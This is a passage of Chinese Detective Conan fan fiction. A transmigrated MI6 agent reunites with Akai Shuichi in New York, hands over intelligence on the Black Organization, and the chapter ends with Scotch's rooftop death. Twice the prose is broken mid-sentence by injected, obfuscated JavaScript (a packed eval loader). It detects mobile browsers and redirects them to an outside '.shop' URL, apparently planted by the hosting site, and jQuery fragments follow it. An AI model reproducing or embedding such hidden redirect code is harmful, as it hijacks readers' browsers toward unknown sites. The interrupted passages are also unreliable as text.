他的MI6身份是真的,任务也是真的——帮伦敦总部转交一份技术资料给FBI驻纽约联络处。只不过三天就能办完的事他拖了十天。 这十天里他每天在同一时间出现在同一家咖啡店,拿着同一款冷掉的美式,看同一栋公寓楼的入口。 系统说赤井秀一是在这啊…… 直到第七天。 一个男人从公寓楼里走出来。身高超过一米八,面容温和,戴金边眼镜,穿着一丝不苟的开衫和衬衫。他手里拎着便利店塑料袋,脚步不快不慢,在街角熟食店买了份三明治。 冲矢昴,东都大学研究生,眯眯眼,像午后打盹的猫。 莫尼科盯着那双眼睛,想到同样喜欢眯着眼的清水茶柱。 该说不愧是幼驯染吗? 可惜布伦尼文死的有点早,没机会认识赤井秀一更没机会遇见冲矢昴,森川海还挺想看看两个眯眯眼站在一起的场面,像两只猫。 只不过赤井秀一是伪装成猫的豹子。 而此刻豹子正站在熟食店柜台前,温和地和店员讨论三明治要不要加酸黄瓜。 莫尼科把凉透的美式扔进垃圾桶,开始跟踪。 他跟踪了三天。 冲矢昴的生活极其规律:早上七点半出门晨跑,八点一刻买咖啡和三明治,九点进实验室,下午六点回家。偶尔去超市采购,周末会去哥大图书馆查资料,晚上几乎不出门。 非常正常。 但放在早已知道冲矢昴就是赤井秀一的森川海眼里,全是破绽。 他用左手的次数比右手多。赤井秀一是左撇子,虽然冲矢昴惯用手是右手,但日常生活里改不干净;他走路几乎不出声,连旧地板都来不及在他脚下吱呀;在平静的生活里,会突然停下来听逐渐靠近的脚步声。 第三天傍晚,莫尼科跟到公寓楼下,看见冲矢昴在信箱前站了很久。 他没取信,只是站在那里,手指搭在信箱边缘,侧脸对着街道,像在想什么很远的事。 莫尼科站在街对面,隔着车流和人潮,忽然想起很久以前——或者是很久以后——赤井秀一在伦敦某个阴天的下午,和他一起坐在泰晤士河边,分享一盒冷掉的薯条。 那人说:“Mani,你以后会做很危险的事。” 他问:“你怎么知道。” 赤井秀一看着河水,没回答。 过了一会又说:“做完记得回来。” 莫尼科当时觉得这是一句废话。人做完事当然要回家,不回家能去哪。 后来他明白,有些事做了就回不来。有些人说“记得回来”,是因为知道那个人再也回不来。 他站在街对面,看着冲矢昴转身走进公寓楼,消失在电梯门后。 然后莫尼科开始跑。 横穿马路,差点被出租车撞到,司机用英语吼他,他吼回去,冲进公寓大堂。电梯还在往上爬,他等不及,拉开消防通道的门就开始爬楼梯。 七楼。 他在七楼楼梯间撑着膝盖喘气,汗水顺着后颈滑进衣领,那道旧伤疤在剧烈运动后突突地跳。 莫尼科推开门。 走廊很安静,尽头那扇门刚关上,锁舌咔嗒一声。莫尼科站在空无一人的走廊中央,盯着那扇门。 他应该走过去,敲门,说好久不见。 他应该像以前无数次那样,不管不顾地撞开赤井秀一家的门,把自己摔进沙发里,说“你猜我今天又搞砸了什么”。 他应该…… 但他只是站在那里,像被钉在原地,从泰晤士河边开始就在酝酿的那句“我回来了”,酝酿了七年,还是说不出口。 然而那扇门从里面打开了。 冲矢昴靠在门框上,金边眼镜后的眼睛眯着,看不清表情。 “你要在走廊站多久。”他说,“我猫眼都快被你看穿了。” 莫尼科张了张嘴。 冲矢昴侧身让出门口:“进来。” 公寓不大,收拾得很整齐。玄关鞋柜上摆着一盆绿萝,叶片擦得干干净净。客厅书桌上摊着几本期刊,笔筒里的笔按颜色排列。 莫尼科站在玄关,没换鞋,也没往里走。 冲矢昴从厨房端出两杯水,放在茶几上,然后在沙发坐下,没催促,只是等着。 沉默像慢慢涨潮的海水。 “……我以为你死了。”莫尼科终于开口,声音比预想中更哑。 冲矢昴看着自己的手背。 “很多人都这么以为。” “包括我。” “你也是很多人之一。” 莫尼科没有说话。他低头盯着自己脚尖那双没换的鞋,忽然发现自己从东京追到纽约,从资料堆查到案发现场,在咖啡店蹲守十天,爬七层楼梯——做这一切的时候,都没想过见到赤井秀一要说什么。 他只想来。 来确认这个人活着。 至于确认之后呢?不知道。 冲矢昴从沙发上站起来,走到他面前。 他没有说“抱歉让你担心”,没有解释来叶山道的计划,没有说这些年去了哪里、做了什么、为什么连最亲近的人都不知道他还活着。 他伸出手,把莫尼科垂在身侧的右手拿起来。 那里有一道贯穿手腕的旧伤疤,颜色比周围的皮肤浅,阴雨天会隐隐作痛,用力过度会牵连到手指的细微颤抖。 冲矢昴的拇指按在疤痕中央,力道很轻。 “这个,”他说,“你以前没有。” 他的语气像在讨论天气。 像在说伦敦每一天的雨。 但莫尼科知道他在问什么。 “……后来有的。”莫尼科说。 冲矢昴没有再问。他把那只手放回去,像放回一件易碎品。 “住多久?”他问。 莫尼科愣了一瞬。 “什么?” “你在美国还有别的任务吗。”冲矢昴转身走向厨房,语气平淡得像在讨论晚饭菜单,“没有的话可以住这里。客房空着,没人用。” 可以没有。莫尼科选择忽视催促他回去干活的上司,自己做主给自己放了个年假。 “你这是邀请?” 冲矢昴从冰箱里拿出两罐啤酒,回头看他,金边眼镜后的眼睛依然眯着,但嘴角有一个非常浅的弧度。 “你从七楼消防通道跑上来,”他说,“应该不是只为了喝杯水。” 莫尼科忽然笑了一下。 “行。” 他弯腰把鞋脱掉,赤脚踩上客厅的地毯,接过冲矢昴递来的啤酒,把自己摔进那张看起来就很贵的沙发。 “WiFi密码是什么。” “你生日。” 莫尼科拉开易拉罐的动作顿了一下。 “哪个生日。” 冲矢昴没回答。他在沙发另一头坐下,打开电视,调到新闻频道,音量调得很低。 电视里在播纽约州初选的最新民调。莫尼科喝了一口啤酒,盯着屏幕,开始用余光观察身侧的人。 这个姿势。 这个低头喝啤酒时脖子和肩膀的角度。 这个听到不感兴趣话题时会轻轻撇嘴的习惯。 这是赤井秀一,不是冲矢昴也不是化名潜伏的FBI探员。 是十六岁时和他在圣玛丽医学院预科宿舍楼下一起抽烟、被英国连绵阴雨困了一整个冬天、说“Mani你以后会做很危险的事”的赤井秀一。 他记得我。 莫尼科想。 你是哪个赤井秀一? 是与我并行很长一段人生后,莫名消失的我的幼驯染,还是在1997年夏天和自己旧友分别、然后再也没见过面的故人? 你是我的Akai吗? 赤井秀一不知道莫尼科后来去了哪里,不知道那道手腕上的疤怎么来的,不知道面前这个人其实已经死了几次又活了几回。 他不记得。 所以他才能这么平静地邀请我住下来,像邀请任何一个路过纽约的老朋友。 莫尼科把啤酒罐捏得咔咔响。 冲矢昴看了他一眼。 “空调太冷?” “没有。” 莫尼科把易拉罐放回茶几,从沙发上坐起来,盘腿坐直。 “秀一,”他忽然开口,用的是很久没用过的、属于莫尼科对赤井秀一的称呼,“你记不记得有一年圣诞节,你回美国了,我一个人在伦敦,喝多了给你打电话。” 冲矢昴的视线从电视上移开,落在他脸上。 “嗯。” “然后呢。” “然后你骂了你们处长二十分钟,说他是没有人类感情的官僚机器。”冲矢昴的语气很平,“第二天酒醒发消息求我别告诉任何人。” 莫尼科:“……” “你当时答应删录音的。” “我没说我有录音。” “你没说你有录音但你的表情就是我有录音的表情。” 冲矢昴嘴角那点弧度又出现了,很浅,但足以让莫尼科确信这人从十二岁开始就没变——缺德、我在看你犯蠢但我不说、气人、只有脸好看。 他不再追问了。不记得也好。如果赤井秀一拥有所有周目的记忆,他看莫尼科的眼神不会是现在这样——温和的、接纳的、没有背负任何过往的重量。他会知道这个人死过多少次,为了什么,失去了谁。 莫尼科不想把这种重量分给任何人。 他把空啤酒罐扔进垃圾桶,盘腿坐在沙发上,打开布伦尼文的记忆库。 他几乎从来不看布伦尼文死后发生了什么,可能是因为没兴趣吧,反正琴酒不是在做任务就是在做任务的路上,偶尔欣赏一下可以,经常看布伦尼文会和森川和也打架。 系统界面在视野边缘亮起,他轻车熟路地翻到“人物关系·赤井秀一”分类。 然后他看到了一条备注。 【宿敌·恋人(自称)】 莫尼科:“……” 他把那条备注放大,又缩小,反复确认了三遍。 【宿敌·恋人(自称)】 谁的宿敌恋人??? 【记录补充:“我的宿敌。”】 【记录补充:停顿三秒。“恋人啊。”】 赤井秀一你在对谁说这种话??? 为什么是琴酒! 就算幼驯染爱好相似正常但是这样的爱♂好也要相似吗!森川海在脑子里尖叫,而且为什么琴酒不反驳啊,为什么黑麦威士忌可以但是布伦尼文酒不行?就因为琴酒喜欢喝威士忌吗? 森川海开始阴暗的在沙发上蠕动。 冲矢昴正在看新闻,闻声侧过头。 “怎么了。” “没什么。”森川海盯着天花板,“就是我感觉你把我扔进了滚筒洗衣机。” 琴酒。恋人。宿敌。赤井秀一。 这几个词是怎么被放进同一句话里的?! 他用余光瞄向冲矢昴。这人正专注地盯着电视屏幕,表情没有任何异常。 莫尼科把脸埋进沙发靠垫里,肩膀开始发抖。 冲矢昴关掉电视。 “……你在笑什么。” 莫尼科从靠垫里抬起头:“我忽然想起来一件事。” “什么事?” 莫尼科看着冲矢昴那双眯起的、让人看不清神色的眼睛。 “Akai,”他说,“你以前有没有对谁说过,他是你的宿敌兼恋人?” 房间里安静了三秒。 冲矢昴的表情没有变。他依然靠坐在沙发另一端,手里握着那罐已经温掉的啤酒,姿态放松得像任何一天晚上。 但他没有回答。 然后赤井秀一放下啤酒罐,站起来,走向厨房。 “饿了吗。”他的声音从料理台那边传来,“冰箱里有食材,我做晚饭。” “为什么不正面回答我的问题!”莫尼科抱着靠垫大声控诉,“你明明知道我在说什么!” 这个人知道! 就算他此刻表现出一副“我不知道你在说什么”的样子,就算他的马甲捂得比东京湾还严实—— 森川海就知道赤井秀一不是什么好东西! 莫尼科开始不礼貌地扒拉冲矢昴的房间,听着厨房里切菜的声音,煤气灶点火的声音,油在锅里升温的声音。 窗外的纽约开始亮起万家灯火。 “……你做什么。”他扬声问。 “炖牛肉。”冲矢昴的声音从厨房传来,“米饭还是面包。” “面包。” “没有面包。” “那你还问。” “随口一问。” 莫尼科把脸埋进靠垫里,这次是真的在笑。 同居生活从第三天开始变成习惯。 莫尼科早上八点被咖啡机的声音吵醒,从客房床上爬起来,头发乱成鸡窝,趿拉着冲矢昴递来的拖鞋挪到客厅。 冲矢昴在餐桌旁看晨报,面前放着两杯咖啡。 “我的加糖加奶。”莫尼科坐进沙发,把那杯温度刚好的咖啡拢进掌心。 “知道。” 莫尼科喝了一口。糖和奶的比例正好是他习惯的。布伦尼文能喝黑咖啡,但森川和也喝不下太苦的东西。冲矢昴在他旁边翻过一页报纸,照例嫌弃莫尼科的品味。 晨跑是第五天开始的。 莫尼科本来没这习惯,但冲矢昴每天雷打不动七点半出门,沿着哈德逊河跑八公里。第四天莫尼科在窗口看着他的背影消失在河岸线,第五天他换好运动鞋等在玄关。 冲矢昴看了他一眼,什么都没说,拉开门。 两人并排跑过晨雾中的河滨步道。十一月的纽约很冷,呼出的白气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189148|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快被风吹散。莫尼科跟不上冲矢昴的配速,但他不说,冲矢昴也不说,只是在转弯时不动声色地慢下来。 第七公里,莫尼科岔气了。 他扶着膝盖在长椅边喘,冲矢昴站在两步远的地方,递来保温杯——不知道什么时候带的,温度正好。 “你以前耐力没这么差。”冲矢昴说。 莫尼科灌水的动作顿了一下。 “我以前没死过。” 好地狱。地狱到赤井秀一都不知道怎么回答,只能略显尴尬地看着河面,轮廓被晨光镀成淡金色。 莫尼科把保温杯还给他。 “我开玩笑的。”他说,“其实是太久没训练了。” 冲矢昴接过杯子,也不知道有没有相信。 晚上是一个微妙的时间。 冲矢昴习惯在客厅看书:专业期刊或者小说。莫尼科抱着电脑窝在沙发另一头,假装查资料。 “Akai。” “嗯。” “‘我的宿敌恋人’——原话是这样的。” 冲矢昴翻过一页书:“谁的原话。” “一个你认识的人。” “我认识的人很多。” “你怎么这样。” “Akai。” “嗯。” “你说他为什么要这样说?” 冲矢昴这次连书都没放:“你可以直接问他。” “我问他不是暴露你了吗。” “暴露什么。” “暴露你在我面前掉马了。” 冲矢昴终于抬起头,那双眯着的眼睛在镜片后看不出情绪。 “你觉得我在乎这个马甲?” 莫尼科愣了一秒。 “……不在乎你穿它干什么。” 冲矢昴没有回答,他把书签夹进当前页面,合上书。 “有些身份穿久了就脱不下来。”他说,“不是因为不在乎,是因为忘了本来的样子。” 莫尼科没说话。 他看着冲矢昴平静的侧脸,忽然想起那个在泰晤士河边说“做完记得回来”的人。那是另一个时间线,另一段记忆,另一个还没死过、还没失去任何人的赤井秀一。 而现在这个人坐在纽约冬夜的公寓里,说他穿久了现在的身份,忘了本来的样子。 莫尼科把电脑放到茶几上。 “你还记得以前的事吗。”他问,“伦敦的,纽约的,泰晤士河边分薯条的。” 冲矢昴看着他。 “记得。” “全部?” 沉默。 “……大多数。” 莫尼科点点头。 他没有追问大多数是哪些,有没有包括1997年夏天那个回日本后失联的人。莫尼科想应该是有的,赤井秀一这个家伙最聪明了,就算什么都知道也不会说。 所以森川海只是说:“我也记得。” 赤井秀一没有再回应。 窗外的纽约夜色很静。客厅里只亮着一盏落地灯,暖黄色的光把他们之间的距离照得忽明忽暗。 过了很久,赤井秀一站起身,去厨房倒了杯水。 他的背影在厨房门框里停了一下。 “Mani,”他说,没有回头,“你这次回来待多久。” 莫尼科靠在沙发上,看着那盏灯。 “……不知道。”他说,“事情办完就走。” “事情办完是多久。” “不好说。”莫尼科说,“我以为你死了,从日本——从另一条时间线的日本回来了。” 冲矢昴把水杯放在茶几上,在沙发另一端坐下,重新翻开那本合上的书:“所以你是为了我回来的。” 莫尼科看着他。 落地灯的光晕在他侧脸上勾勒出温柔的边缘。金边眼镜,温和的眉眼,从容到近乎慵懒的姿态。 但莫尼科看见他握着书脊的指节微微泛白。 他收回视线,把电脑重新抱回膝盖上。 “对。”莫尼科说。 窗外的纽约继续亮着灯。有人在夜跑,有人在遛狗,有人在末班地铁上困倦地靠着车窗。这间公寓里,两个本该死在过去的人,隔着同一盏灯,各自沉默。 他开始在赤井秀一做早饭时靠在厨房门框上,用欠揍的语气问:“你恋人今天有联系你吗?” 冲矢昴把煎蛋铲进盘子:“他一般半夜出没。” “半夜,嗯。你等他电话等到半夜。” “我在看书。” “看什么书能让FBI王牌探员一看看到凌晨两点。” “《发酵食品工艺学》。” 莫尼科端着盘子跟去餐桌,脸上是憋不住的笑意:“赤井秀一深夜攻读泡菜制作指南,你们FBI也是没落了,我愿意v你五十助力你出道上头条。” 冲矢昴把咖啡推到他手边:“需要我帮你联系《女性seven》吗。” “不用,我自己就是行走的头条。”莫尼科咬了一口吐司,嚼着嚼着忽然停下,“等等,你承认你是赤井秀一了?” 冲矢昴翻开晨报:“我什么时候否认过。” 莫尼科盯着他看了五秒。 这人。 从头到尾,从纽约公寓门口那句“你从七楼消防通道跑上来”,到刚才那句“我什么时候否认过”——他从来没有正式承认过自己是赤井秀一,但也从来没有否认过。 他让莫尼科住进来,共用早餐,一起晨跑,在深夜聊那些只有两个人才知道的旧事。他把莫尼科的生日设成WiFi密码,记得他咖啡加糖加奶的分量,知道他在泰晤士河边分薯条时说过什么。 但他就是不说“我是赤井秀一”。 他让莫尼科自己发现,自己确认,自己一步一步走进这个“你明明知道但我不说破”的陷阱里。 莫尼科把吐司塞进嘴里,含糊不清地说:“腹黑。” 冲矢昴翻报纸的手顿了一下。 “……什么。” “没什么。”莫尼科端起咖啡,嘴角的弧度压不下去,“夸你聪明。” 纽约冬天的雪和上司“再不回来就派人暗杀你”的话一同到来,房间里很安静。莫尼科在这样的安静里想起很多事。 一周目,布伦尼文和琴酒搭档出任务,两人在安全屋里轮流守夜,琴酒从不睡觉,只是坐在窗边擦枪,银发垂下来遮住半张脸。 某次任务失败,他被琴酒从火线上拖回来,那人骂他“废物”,然后把他扔进医务室,在门口站了很久,最后还是进来了,替他换药。 他被琴酒杀了好几次才老老实实地说出自己的名字,在任务里死了很多次才得以靠近这个人。玩家从不缺少时间,一次又一次的读档垒出一道通往True ending的天梯,但布伦尼文依然没搞懂琴酒。 那时他太年轻了。 冲矢昴看着他。 “现在呢。” 莫尼科把靠垫抱得更紧了一点。 “……现在也搞不懂。”他说,“但我觉得已经不重要了。” 冲矢昴没有接话。 窗外的雪下得更大了一些。纽约的街道开始铺上薄薄一层白,车灯驶过,在雪地上拖出暖黄色的光痕。 “Akai。”他背对着沙发,看着窗外的雪。 “嗯。” “Akai。” “……” “你又要走了吗?”赤井秀一问。 窗外是绵延的雪,莫尼科在这样的雪中回答;“对。” 今天是个晴天。 上一次,在那样阳光明媚的日子里,我与你分别。 如今我们重逢。 22. 022 纽约的冬夜很深。 雪已经停了,窗玻璃上结了一层薄薄的霜花。客厅里没开灯,只有对面公寓楼的灯光透进来,在墙壁上投下模糊的淡黄色光斑。 莫尼科靠在沙发扶手上,腿蜷着,肩抵着靠垫。赤井秀一坐在另一端,中间隔着一杯威士忌。 他们就这样坐了快一个小时。 不说话,也不动。只有暖气片偶尔发出嘶嘶的轻响,和冰箱每隔一段时间启动的低沉嗡鸣。 莫尼科忽然开口。 “我总觉得,”他说,“你什么都知道。” 赤井秀一没有立刻回答。他垂眼看着那杯威士忌,冰早已化尽,琥珀色的液体静止如凝固的松脂。 “不是。”赤井秀一回答。 “不是什么?” “不是什么都知道。” 莫尼科偏过头看他。落地灯的开关在沙发另一头,赤井秀一的脸隐在半明半暗的边界,镜片偶尔反光,遮住那双绿色的眼睛。 “你知道多少。”莫尼科问。 赤井秀一沉默了一会儿:“我有两段完整的记忆。你为MI6工作,同时在1997年去日本,再也没回来” 莫尼科没有说话。 窗外又开始飘雪,很小很轻的雪,落在玻璃上立刻化成水痕,像泪痕,又不像。 莫尼科有很多话想说。 那些话在喉咙里堆了三条时间线,从布伦尼文的第一次死亡,到森川和也被割开的喉咙,再到莫尼科·海耶斯在雨夜掏出森川玲子留下的U盘。它们像沉在海底的沉船,锈迹斑斑,长满藤壶,他以为已经永远不会浮上来。 但此刻面对这个人的侧脸,那些沉船开始松动。 “我第一次死的时候在欧洲。”他开口,声音很轻,“任务失败,琴酒站在我旁边,看着我咽气。” 赤井秀一没有动。 “他什么都没说,甚至没多看一眼。就站在那里,等我心跳停,然后转身走了。”莫尼科把脸埋进靠垫的边缘,声音有些闷。“后来我才知道,他其实可以拉我一把。他离我不到三米。” “但他没有。” “嗯。” 沉默像夜色一样漫进来。 “第二次是割喉,”莫尼科说,“卡慕做的。” 他的手指无意识地摸向脖颈,那里有一道陈旧的,经过多次修复依然隐约可见的疤痕。赤井秀一的目光跟着他的指尖落在那道痕迹上。 “很痛。”莫尼科说,“但死得很快。割喉的好处就是快。” 他的语气很平淡,像在说一件不相干的事。 “后来我用点数复活了,只不过每次用都会留下疤痕。”他把手从脖颈上放下来,垂在身侧,“心脏旁边那个也是卡慕干的,我怀疑他针对我。” “其他的呢?”赤井秀一看着莫尼科垂下去的手指,看着那截露出袖口的、布满细碎旧伤的手腕——除了致命伤以外,莫尼科身上还有审讯留下的疤痕。 那些伤痕像蔓延的触手,紧紧地包裹着莫尼科,随着他的呼吸起伏。 莫尼科没有回答,转移了话题:“我一直想不明白要不要怪他。” “琴酒?” “我不知道怎么怪他,他从来不知道我是谁。在他眼里我只是布伦尼文,一个不太称职、运气也不好的搭档。”莫尼科把脸转过来,看着天花板,“他不知道自己杀了森川和也,他也不知道布伦尼文就是森川和也。对他来说那只是任务。” 赤井秀一没有说话。 “但我想救的人,”莫尼科的声音开始有些发涩,“他一个接一个地杀。” “波本。苏格兰。还有他自己。” “我不知道该怎么办,Akai。我真的爱过他,可我要怎么面对他?” 房间里很安静。暖气片还在嘶嘶地响,冰箱启动的声音已经停了。赤井秀一倾身,把那杯威士忌推到茶几边缘,然后伸出手,覆在莫尼科垂在沙发边缘的手背上。 他的掌心干燥温热,带着薄茧特有的粗砺触感,没有握紧,只是覆着,像一片落在水面的叶子。 “你不需要现在想清楚。”他说。 莫尼科没有说话。 “你也不需要一个人扛。” 莫尼科的眼眶开始泛红。 他把脸埋进另一只手的手心里,然后是长久的沉默,安静的沉默,无声的沉默。 赤井秀一没有拉他,没有把他抱进怀里,没有说任何安慰的话。他只是握着莫尼科那只垂在沙发边的手,很轻地在他手那道疤痕上摩挲。 过了很久,久到窗外的雪停了又下。 莫尼科忽然猛地坐直。 他把手从赤井秀一掌心抽出来,赤井秀一没有拦他。他看见莫尼科用力抹了一把脸,眼眶还是红的,但眼神已经变了。 “来都来了,我有情报要给你。”他的声音还带着沙哑,但语气已经恢复了莫尼科惯有的冷淡。“关于组织的。很多。” 他从茶几下面拖出电脑,开机,调出一份加密文档。 “这里是所有我确认过的据点坐标。关东十三个,关西七个,九州三个,北海道两个。有些还在用,有些已经废弃,但可以作为追溯组织的切口。” 他的手指在触摸板上滑动,速度很快。 “这是财务渠道。四个海外账户,一个伪装成艺术品投资基金的洗钱网络,两个赌场中介人。账户名和密码都在这里。” 他顿了顿,调出下一页。 “这是研究设施。三个生物实验室,一个化学合成基地,还有一个——” 他停了一下。 “——权限非常高,连布伦尼文也不完全清楚,具体进度不明,但代号已经定下来了。APTX-4869。” 他把电脑转向赤井秀一,屏幕蓝白色的光映在两人脸上。 赤井秀一垂眼看着那些条目。他没有惊讶,没有追问信息来源。他只是安静地看,一行一行,像在阅读一封来自远方、早已预料会抵达的信。 “……还有苏格兰威士忌。”莫尼科说。 赤井秀一的视线凝固在屏幕上。 “这是我的同期。”莫尼科的声音带着不易察觉的怀念,“警校的时候,他睡我隔壁宿舍,他的幼驯染是波本——安室透,降谷零,你应该知道。” 他顿了顿。 “如果有一天你遇见他们,手下留情。” 赤井秀一没有立刻回答。他的目光还停留在屏幕上,但没有聚焦。眼镜片反射着文档的白光,看不出神色。 沉默持续了三秒。五秒。七秒。 在这长久的沉默里,莫尼科心中徒增巨大的恐慌。 “苏格兰已经死了。”赤井秀一说。 莫尼科看着他。 “你说什么?” “苏格兰威士忌。”赤井秀一在陈述一个很久以前就知道的事实,“诸伏景光。长野县人。警察厅卧底。” 他抬起眼睛,看向莫尼科。 “他已经死了。” 房间里安静得只剩下窗外雪落的声音。莫尼科坐在那里,手还扶在电脑边缘,指尖发白。 “……什么时候。” “你假死之后不久。”赤井秀一说,“他的身份暴露,被组织围捕。他选择自杀,用枪打穿了自己的心脏。临死前他打穿了联络用的手机,那个手机应该被波本拿走了。” 莫尼科盯着电脑屏幕,屏幕上的文档还在,安全屋、财务渠道、研究设施。那些他花了三条时间线拼凑出来的情报,此刻像一堆苍白又毫无意义的字符。 “……怎么暴露的。” 赤井秀一沉默了一会儿:“他的卧底身份,被组织在公安的卧底暴露出来了。” “谁。” “不知道。公安内部排查过,没有结果。” 莫尼科没有再问。 他把电脑缓缓合上,指尖在黑色机壳上停顿了很久。 “波本,”他说,“降谷零,他还活着。” “活着。” “在组织里。” “是。” “继续当波本。” “是。” 莫尼科低下头。 他看见自己的手指在发抖,于是把两只手交叠在一起,用力压住:“那天在天台上的人,是你。” “我很抱歉。” “你向他坦白了身份,他不信。” “他没有理由信。” 莫尼科把脸埋进交叠的双手里,又是一片大雪般的沉默。在这样的沉默中莫尼科开始颤抖,像积雪从枝头滑落。 “我不怪你。”他的声音从指缝间传出来,闷闷的,湿漉漉的,“我也不怪景光。不怪零。” “我怪那个操蛋的组织。” “我怪琴酒。” “我怪他。他杀了那么多人,他杀了我两次,他杀了我爱的人——他间接杀了景光。他不记得,他什么都不知道,但这不能改变他杀人的事实。” 他顿了一下,声音越来越轻。 “可是……” 他没有说下去。 赤井秀一伸出手,张开手掌,把莫尼科整个拳头包进掌心。 “我知道。”他说。 莫尼科低着头,看着他们交握的手。 “……我该怎么办?我比谁都恨那个组织。我想把它连根拔起,把每一个成员送上法庭,把琴酒——” 他没有说下去。 赤井秀一等他。 “可是他怎么办。”莫尼科说,“如果组织没了,琴酒也会死。” 他的喉咙像卡着什么东西。 “我不想他死。” “我不想任何人死。可我不知道怎么让他活,又让所有他伤害过的人得到公平。” 他低着头,肩膀塌着,整个人像一座正在缓慢坍缩的建筑。 “我不知道该怎么办。” 赤井秀一握紧了他的手,然后他松开,站起来。 有一瞬间莫尼科以为他要走了。 但赤井秀一只是换了个位置——从沙发的另一端,移到莫尼科面前。他蹲下来,平视着莫尼科。 那双绿色的眼睛此刻没有任何遮掩。没有冲矢昴的温和,没有FBI王牌狙击手的锐利。只是一双很安静的眼睛,像深冬无风的湖面。 “如果太累了。”他说,“不想继续了也可以。” 莫尼科看着他。 “想逃避的话就逃避吧,不是每次都要做对的选择。” 莫尼科看着他。 很久很久。 他忽然觉得有什么东西正在胸口破土而出。不是电光石火的悸动——不是。是更慢更沉的东西,像冬天冻住的大地终于开始松动。 这个人说可以。 这个人说他可以逃避。 这个人和他认识了很多次,三条时间线,无数次擦肩而过和一次假死重逢。这个人从来不问他的过去,从来不质疑他的身份,从来不说“你应该怎样”。 他只会说:你不需要一个人扛。 他只会说:想逃避的话,也可以。 “你知不知道,”莫尼科忽然笑了,“这种话,比‘我爱你’还让人受不了。” 赤井秀一伸出手,把莫尼科额头垂下来的一缕碎发拨到耳后。指尖在他耳廓边缘停了一下,然后收回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189149|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道。”赤井秀一说。 窗外的雪停了。 莫尼科看着窗外逐渐清朗的夜空,看着对面公寓楼亮起的零星灯光。凌晨三点,纽约还在沉睡。 他把交握的手从赤井秀一掌心抽出来。 赤井秀一没有挽留。他收回手,站起来,回到沙发另一端坐下。 “我得走了。”莫尼科说。 他站起来,把电脑装进背包,拉链拉好。他的动作很慢,像在做一个极其艰难的决定。 “情报都在里面。”他把背包放在茶几上,“FBI比我更需要它。” 赤井秀一看着那个包,没有动。 “你呢。” 莫尼科没有回答。他站在玄关,弯腰把鞋穿上,把外套拉链拉到顶,然后握着门把手,站了很久。 “Akai。” “嗯。” “如果有一天,”他背对着客厅,声音很轻,“你真的拥有了所有周目的记忆……” 赤井秀一等着。 “……算了。”莫尼科说,“到时候再说。” 他拧开门把手。 “Mani。”赤井秀一的声音从身后传来,像落进深井的石子。“下个时间,我们再见。” 莫尼科的手指在门框边缘顿了一下,然后松开:“好。” 门在他身后关上,走廊的感应灯亮了又灭了,他在黑暗里站了很久。 然后他走进电梯,走进纽约凌晨四点无人的街道,走进那场已经停了的、薄雾般的雪里。 …… 东京,天台。 风很大。 诸伏景光站在天台边缘,背靠着冰冷的铁丝网围栏。他的枪口抵在自己胸口。 赤井秀一站在五米开外。 “诸伏景光。”他说。 景光看着他。 诸星大,黑麦威士忌,狙击手。现在站在他面前,说自己是来帮他的。 他不知道自己该不该信。 楼梯间里脚步声正在逼近。 “我无意阻止你的选择,”赤井秀一在大风中开口,“只是有人拜托过我一件事。他说如果遇见你,手下留情。” “……谁。” 赤井秀一没有回答也不需要回答。 景光的瞳孔微微收缩。一瞬间他想起很多事:倒茶时下意识用左手托底的手,吃三明治挑掉生菜的习惯,深夜安全屋里递来热咖啡时吐槽“你看起来三天没睡了”。 他不知道自己应该愤怒还是悲伤。 他甚至不知道自己还有没有资格愤怒。 脚步声越来越近,楼梯间的门在震颤。诸伏景光低头,看着自己握枪的手,想起很多年前,在警校的射击场上,教官说枪口永远不要指向同伴。 他指向了自己。 没关系。他想。 东京的夜很难看见星星。乌云太厚,灯光太亮,什么都看不见。诸伏景光忽然想起小时候,和零一起躺在长野老家的屋顶上,数那些永远数不清的星星。 零说以后要去东京。 他说好,一起去。 他们确实一起来了,只是没有一起回去。 景光闭上眼睛。 食指用力。 ——然后他感到有什么东西从身体里抽离了。 不是血,不是生命。是另一种东西,轻得像羽毛,冷得像初雪。 他的意识悬浮在半空中,看见自己的躯体向后仰去,枪从指间滑落,血从胸口涌出。 他看见零从楼梯间里冲出来,捡起那个被子弹打穿的手机,赤井秀一站在几步之外,沉默地注视着这一切。 一切都像一个沉默的哑剧。 他还看见天台角落的阴影里,站着一个人。 那个人穿着灰扑扑的外套,帽子拉得很低,看不清脸。他怀里抱着什么东西,像是一个从未开启过的、发着微弱蓝光的—— 系统界面。 诸伏景光听不见声音,但他看见那个人的嘴唇动了一下,像在说:等等。 那个人伸出手,朝他的方向,把怀里那团蓝光用力推了过来。 光撞进他胸口的那一刻,诸伏景光感到一股温热的、从未体验过的力量在体内苏醒。像沉睡了很多年的心脏,终于开始跳动。 【系统已移交。】 【新用户:诸伏景光。】 【复活倒计时:未知。】 诸伏景光不知道自己是什么,也不知道这行字意味着什么。他只知道那个站在阴影里的人,在他视线模糊的最后一瞬,朝他点了点头。 像一个轻柔的告别。 诸伏景光的意识沉入黑暗。 天台的风还在吹,赤井秀一转身走向楼梯间,把时间留给这对幼驯染。天台角落的阴影里已经空无一人,只有风吹过锈蚀的铁丝网,发出低沉的呜咽。 …… 很多天后。 莫尼科站在公寓窗前,看着窗外灰白色的天空。系统界面在他视野边缘安静地悬浮着。 